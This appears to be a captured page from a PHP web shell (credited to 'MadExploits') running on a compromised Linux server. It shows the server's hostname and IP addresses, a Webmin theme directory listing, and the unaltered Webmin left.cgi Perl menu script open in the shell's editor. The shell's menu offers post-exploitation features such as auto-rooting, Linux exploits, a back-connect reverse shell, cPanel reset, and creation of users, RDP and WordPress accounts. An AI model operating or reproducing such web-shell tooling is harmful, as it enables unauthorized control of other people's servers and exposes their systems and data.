Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
gray-theme /
[ HOME SHELL ]
Name
Size
Permission
Action
acl
[ DIR ]
drwxr-xr-x
adsl-client
[ DIR ]
drwxr-xr-x
apache
[ DIR ]
drwxr-xr-x
at
[ DIR ]
drwxr-xr-x
backup-config
[ DIR ]
drwxr-xr-x
bandwidth
[ DIR ]
drwxr-xr-x
bind8
[ DIR ]
drwxr-xr-x
bsdfdisk
[ DIR ]
drwxr-xr-x
burner
[ DIR ]
drwxr-xr-x
cfengine
[ DIR ]
drwxr-xr-x
change-user
[ DIR ]
drwxr-xr-x
cluster-copy
[ DIR ]
drwxr-xr-x
cluster-cron
[ DIR ]
drwxr-xr-x
cluster-passwd
[ DIR ]
drwxr-xr-x
cluster-shell
[ DIR ]
drwxr-xr-x
cluster-software
[ DIR ]
drwxr-xr-x
cluster-useradmin
[ DIR ]
drwxr-xr-x
cluster-webmin
[ DIR ]
drwxr-xr-x
cpan
[ DIR ]
drwxr-xr-x
cron
[ DIR ]
drwxr-xr-x
custom
[ DIR ]
drwxr-xr-x
dhcpd
[ DIR ]
drwxr-xr-x
dhcpd-2.0
[ DIR ]
drwxr-xr-x
dnsadmin
[ DIR ]
drwxr-xr-x
dovecot
[ DIR ]
drwxr-xr-x
download
[ DIR ]
drwxr-xr-x
escputil
[ DIR ]
drwxr-xr-x
exports
[ DIR ]
drwxr-xr-x
fdisk
[ DIR ]
drwxr-xr-x
fetchmail
[ DIR ]
drwxr-xr-x
file
[ DIR ]
drwxr-xr-x
firewall
[ DIR ]
drwxr-xr-x
frox
[ DIR ]
drwxr-xr-x
fsdump
[ DIR ]
drwxr-xr-x
generate-acls
[ DIR ]
drwxr-xr-x
gnupg
[ DIR ]
drwxr-xr-x
grub
[ DIR ]
drwxr-xr-x
heartbeat
[ DIR ]
drwxr-xr-x
help
[ DIR ]
drwxr-xr-x
htaccess-htpasswd
[ DIR ]
drwxr-xr-x
htpasswd-file
[ DIR ]
drwxr-xr-x
idmapd
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
inetd
[ DIR ]
drwxr-xr-x
init
[ DIR ]
drwxr-xr-x
inittab
[ DIR ]
drwxr-xr-x
ipchains
[ DIR ]
drwxr-xr-x
ipsec
[ DIR ]
drwxr-xr-x
iptables
[ DIR ]
drwxr-xr-x
iscsi-client
[ DIR ]
drwxr-xr-x
iscsi-server
[ DIR ]
drwxr-xr-x
iscsi-target
[ DIR ]
drwxr-xr-x
jabber
[ DIR ]
drwxr-xr-x
jsample
[ DIR ]
drwxr-xr-x
krb5
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
ldap-useradmin
[ DIR ]
drwxr-xr-x
lilo
[ DIR ]
drwxr-xr-x
logrotate
[ DIR ]
drwxr-xr-x
lpadmin
[ DIR ]
drwxr-xr-x
lvm
[ DIR ]
drwxr-xr-x
lvs
[ DIR ]
drwxr-xr-x
mailbox
[ DIR ]
drwxr-xr-x
mailboxes
[ DIR ]
drwxr-xr-x
majordomo
[ DIR ]
drwxr-xr-x
man
[ DIR ]
drwxr-xr-x
mon
[ DIR ]
drwxr-xr-x
mount
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nettools
[ DIR ]
drwxr-xr-x
nis
[ DIR ]
drwxr-xr-x
openslp
[ DIR ]
drwxr-xr-x
pam
[ DIR ]
drwxr-xr-x
pap
[ DIR ]
drwxr-xr-x
passwd
[ DIR ]
drwxr-xr-x
phpini
[ DIR ]
drwxr-xr-x
postfix
[ DIR ]
drwxr-xr-x
postgresql
[ DIR ]
drwxr-xr-x
ppp-client
[ DIR ]
drwxr-xr-x
pptp-client
[ DIR ]
drwxr-xr-x
pptp-server
[ DIR ]
drwxr-xr-x
proc
[ DIR ]
drwxr-xr-x
procmail
[ DIR ]
drwxr-xr-x
procyonguide
[ DIR ]
drwxr-xr-x
proftpd
[ DIR ]
drwxr-xr-x
pserver
[ DIR ]
drwxr-xr-x
qmailadmin
[ DIR ]
drwxr-xr-x
quota
[ DIR ]
drwxr-xr-x
raid
[ DIR ]
drwxr-xr-x
samba
[ DIR ]
drwxr-xr-x
sarg
[ DIR ]
drwxr-xr-x
sargreports
[ DIR ]
drwxr-xr-x
sendmail
[ DIR ]
drwxr-xr-x
sentry
[ DIR ]
drwxr-xr-x
servers
[ DIR ]
drwxr-xr-x
shell
[ DIR ]
drwxr-xr-x
shorewall
[ DIR ]
drwxr-xr-x
simple-firewall
[ DIR ]
drwxr-xr-x
smart-status
[ DIR ]
drwxr-xr-x
software
[ DIR ]
drwxr-xr-x
spam
[ DIR ]
drwxr-xr-x
squid
[ DIR ]
drwxr-xr-x
squidguard
[ DIR ]
drwxr-xr-x
squidinfo
[ DIR ]
drwxr-xr-x
squidreports
[ DIR ]
drwxr-xr-x
squidstat
[ DIR ]
drwxr-xr-x
ssh
[ DIR ]
drwxr-xr-x
sshd
[ DIR ]
drwxr-xr-x
status
[ DIR ]
drwxr-xr-x
stunnel
[ DIR ]
drwxr-xr-x
swell-wizard
[ DIR ]
drwxr-xr-x
sysgraph
[ DIR ]
drwxr-xr-x
sysinfo
[ DIR ]
drwxr-xr-x
syslog
[ DIR ]
drwxr-xr-x
sysstats
[ DIR ]
drwxr-xr-x
telnet
[ DIR ]
drwxr-xr-x
template
[ DIR ]
drwxr-xr-x
time
[ DIR ]
drwxr-xr-x
tsunamiguide
[ DIR ]
drwxr-xr-x
tunnel
[ DIR ]
drwxr-xr-x
unauthenticated
[ DIR ]
drwxr-xr-x
updown
[ DIR ]
drwxr-xr-x
useradmin
[ DIR ]
drwxr-xr-x
usermin
[ DIR ]
drwxr-xr-x
vgetty
[ DIR ]
drwxr-xr-x
webalizer
[ DIR ]
drwxr-xr-x
webfetch
[ DIR ]
drwxr-xr-x
webmin
[ DIR ]
drwxr-xr-x
webmin-iptables
[ DIR ]
drwxr-xr-x
webminguide
[ DIR ]
drwxr-xr-x
webminlog
[ DIR ]
drwxr-xr-x
wpad-wizard
[ DIR ]
drwxr-xr-x
wuftpd
[ DIR ]
drwxr-xr-x
xinetd
[ DIR ]
drwxr-xr-x
zones
[ DIR ]
drwxr-xr-x
config
337
B
-rw-r--r--
config.cgi
3.48
KB
-rwxr-xr-x
config_save.cgi
1.46
KB
-rwxr-xr-x
edit_overlay.cgi
783
B
-rwxr-xr-x
edit_right.cgi
3.63
KB
-rwxr-xr-x
favicon.ico
1.12
KB
-rw-r--r--
gray-theme-lib.pl
4.63
KB
-rwxr-xr-x
index.cgi
3.58
KB
-rwxr-xr-x
left.cgi
8.11
KB
-rwxr-xr-x
left.css
816
B
-rw-r--r--
pngfix.html
95
B
-rw-r--r--
pngfix.js
1.21
KB
-rw-r--r--
recollect.cgi
277
B
-rwxr-xr-x
right.cgi
4.07
KB
-rwxr-xr-x
save_overlay.cgi
902
B
-rwxr-xr-x
save_right.cgi
1.55
KB
-rwxr-xr-x
theme.info
167
B
-rw-r--r--
theme.pl
34.75
KB
-rwxr-xr-x
top.cgi
346
B
-rwxr-xr-x
uconfig.cgi
2.98
KB
-rwxr-xr-x
uconfig_save.cgi
1.39
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : left.cgi
#!/usr/bin/perl # Show the left-side menu of Virtualmin domains, plus modules use strict; use warnings; # Globals our %in; our %text; our $base_remote_user; our %miniserv; our %gaccess; our $session_id; our $trust_unknown_referers = 1; require "gray-theme/gray-theme-lib.pl"; require "gray-theme/theme.pl"; ReadParse(); popup_header("Virtualmin"); print "<script type='text/javascript' src='@{[&get_webprefix()]}/unauthenticated/toggleview.js'></script>\n"; my $is_master; # Is this user root? if (foreign_available("virtual-server")) { foreign_require("virtual-server"); $is_master = virtual_server::master_admin(); } elsif (foreign_available("server-manager")) { foreign_require("server-manager"); $is_master = server_manager::can_action(undef, "global"); } # Find all left-side items from Webmin my $sects = get_right_frame_sections(); my @leftitems = list_combined_webmin_menu($sects, \%in); my @lefttitles = grep { $_->{'type'} eq 'title' } @leftitems; # Work out what mode selector contains my @has = ( ); my %modmenu; foreach my $title (@lefttitles) { push(@has, { 'id' => $title->{'module'}, 'desc' => $title->{'desc'}, 'icon' => $title->{'icon'} }); $modmenu{$title->{'module'}}++; } my $nw = $sects->{'nowebmin'} || 0; if ($nw == 0 || $nw == 2 && $is_master) { my $p = get_product_name(); push(@has, { 'id' => 'modules', 'desc' => $text{'has_'.$p}, 'icon' => '/images/'.$p.'-small.png' }); } # Default left-side mode my $mode = $in{'mode'} ? $in{'mode'} : $sects->{'tab'} =~ /vm2/ ? "server-manager" : $sects->{'tab'} =~ /virtualmin/ ? "virtual-server" : $sects->{'tab'} =~ /mail/ ? "mailboxes" : @leftitems ? $has[0]->{'id'} : "modules"; # Show mode selector if (indexof($mode, (map { $_->{'id'} } @has)) < 0) { $mode = $has[0]->{'id'}; } if (@has > 1) { print "<div class='mode'>"; foreach my $m (@has) { print "<b>"; if ($m->{'id'} ne $mode) { print "<a href='left.cgi?mode=$m->{'id'}'>"; } if ($m->{'icon'}) { my $icon = add_webprefix($m->{'icon'}); print "<img src='$icon' alt='$m->{'id'}'> "; } print $m->{'desc'}; if ($m->{'id'} ne $mode) { print "</a>\n"; } print "</b>\n"; } print "</div>"; } print "<div class='wrapper'>\n"; print "<table id='main' width='100%'><tbody><tr><td>\n"; my $selwidth = (get_left_frame_width() - 70)."px"; if ($mode eq "modules") { # Only showing Webmin modules @leftitems = &list_modules_webmin_menu(); foreach my $l (@leftitems) { $l->{'members'} = [ grep { !$modmenu{$_->{'id'}} } @{$l->{'members'}} ]; } push(@leftitems, { 'type' => 'hr' }); } else { # Only show items under some title OR items that have no title my ($lefttitle) = grep { $_->{'id'} eq $mode } @lefttitles; my %titlemods = map { $_->{'module'}, $_ } @lefttitles; @leftitems = grep { $_->{'module'} eq $mode || !$titlemods{$_->{'module'}} } @leftitems; } # Show system information link push(@leftitems, { 'type' => 'item', 'id' => 'home', 'desc' => $text{'left_home'}, 'link' => '/right.cgi', 'icon' => '/images/gohome.png' }); # Show refresh modules link if ($mode eq "modules" && foreign_available("webmin")) { push(@leftitems, { 'type' => 'item', 'id' => 'refresh', 'desc' => $text{'main_refreshmods'}, 'link' => '/webmin/refresh_modules.cgi', 'icon' => '/images/reload.png' }); } # Show logout link get_miniserv_config(\%miniserv); if ($miniserv{'logout'} && !$ENV{'SSL_USER'} && !$ENV{'LOCAL_USER'} && $ENV{'HTTP_USER_AGENT'} !~ /webmin/i) { my $logout = { 'type' => 'item', 'id' => 'logout', 'target' => 'window', 'icon' => '/images/stock_quit.png' }; if ($main::session_id) { $logout->{'desc'} = $text{'main_logout'}; $logout->{'link'} = '/session_login.cgi?logout=1'; } else { $logout->{'desc'} = $text{'main_switch'}; $logout->{'link'} = '/switch_user.cgi'; } push(@leftitems, $logout); } # Show link back to original Webmin server if ($ENV{'HTTP_WEBMIN_SERVERS'}) { push(@leftitems, { 'type' => 'item', 'desc' => $text{'header_servers'}, 'link' => $ENV{'HTTP_WEBMIN_SERVERS'}, 'icon' => '/images/webmin-small.gif', 'target' => 'window' }); } # Show Webmin search form my $cansearch = ($gaccess{'webminsearch'} || '') ne '0' && !$sects->{'nosearch'}; if ($mode eq "modules" && $cansearch) { push(@leftitems, { 'type' => 'input', 'desc' => $text{'left_search'}, 'name' => 'search', 'cgi' => '/webmin_search.cgi', }); } show_menu_items_list(\@leftitems, 0); print "</td></tr></tbody></table>\n"; print "</div>\n"; popup_footer(); # show_menu_items_list(&list, indent) # Actually prints the HTML for menu items sub show_menu_items_list { my ($items, $indent) = @_; foreach my $item (@$items) { if ($item->{'type'} eq 'item') { # Link to some page my $it = $item->{'target'} || ''; my $t = $it eq 'new' ? '_blank' : $it eq 'window' ? '_top' : 'right'; my $link = add_webprefix($item->{'link'}); if ($item->{'link'} =~ /^(https?):\/\//) { $t = '_blank'; $link = $item->{'link'}; } if ($item->{'icon'}) { my $icon = add_webprefix($item->{'icon'}); print "<div class='linkwithicon". ($item->{'inactive'} ? ' inactive' : '')."'>". "<img src='$icon' alt=''>\n"; } my $cls = $item->{'icon'} ? 'aftericon' : $indent ? 'linkindented'. ($item->{'inactive'} ? ' inactive' : ''). '' : 'leftlink'; print "<div class='$cls'>"; print "<a href='$link' target=$t>". "$item->{'desc'}</a>"; print "</div>"; if ($item->{'icon'}) { print "</div>"; } print "\n"; } elsif ($item->{'type'} eq 'cat') { # Start of a new category my $c = $item->{'id'}; print "<div class='linkwithicon'>"; print "<a href=\"javascript:toggleview('cat$c','toggle$c')\" ". "id='toggle$c'><img border='0' src='images/closed.gif' ". "alt='[+]'></a>\n"; print "<div class='aftericon'>". "<a href=\"javascript:toggleview('cat$c','toggle$c')\" ". "id='toggletext$c'>". "<font color='#000000'>$item->{'desc'}</font></a></div>"; print "</div>\n"; print "<div class='itemhidden' id='cat$c'>\n"; show_menu_items_list($item->{'members'}, $indent+1); print "</div>\n"; } elsif ($item->{'type'} eq 'html') { # Some HTML block print "<div class='leftlink'>",$item->{'html'},"</div>\n"; } elsif ($item->{'type'} eq 'text') { # A line of text print "<div class='leftlink'>", html_escape($item->{'desc'}),"</div>\n"; } elsif ($item->{'type'} eq 'hr') { # Separator line print "<hr>\n"; } elsif ($item->{'type'} eq 'menu' || $item->{'type'} eq 'input') { # For with an input of some kind if ($item->{'cgi'}) { my $cgi = add_webprefix($item->{'cgi'}); print "<form action='$cgi' target=right>\n"; } else { print "<form>\n"; } foreach my $h (@{$item->{'hidden'}}) { print ui_hidden(@$h); } print ui_hidden("mode", $mode); print "<div class='leftlink'>"; print $item->{'desc'},"\n"; if ($item->{'type'} eq 'menu') { my $sel = ""; if ($item->{'onchange'}) { $sel = "window.parent.frames[1].location = ". "\"$item->{'onchange'}\" + this.value"; } print ui_select($item->{'name'}, $item->{'value'}, $item->{'menu'}, 1, 0, 0, 0, "onChange='form.submit(); $sel' ". "style='width:$selwidth'"); } elsif ($item->{'type'} eq 'input') { print ui_textbox($item->{'name'}, $item->{'value'}, $item->{'size'}); } if ($item->{'icon'}) { my $icon = add_webprefix($item->{'icon'}); print "<input type=image src='$icon' ". "border=0 class=goArrow>\n"; } print "</div>"; print "</form>\n"; } elsif ($item->{'type'} eq 'title') { # Nothing to print here, as it is used for the tab title } } } # module_to_menu_item(&module) # Converts a module to the hash ref format expected by show_menu_items_list sub module_to_menu_item { my ($minfo) = @_; return { 'type' => 'item', 'id' => $minfo->{'dir'}, 'desc' => $minfo->{'desc'}, 'link' => '/'.$minfo->{'dir'}.'/' }; } # add_webprefix(link) # If a URL starts with a / , add webprefix sub add_webprefix { my ($link) = @_; return $link =~ /^\// ? &get_webprefix().$link : $link; }
Close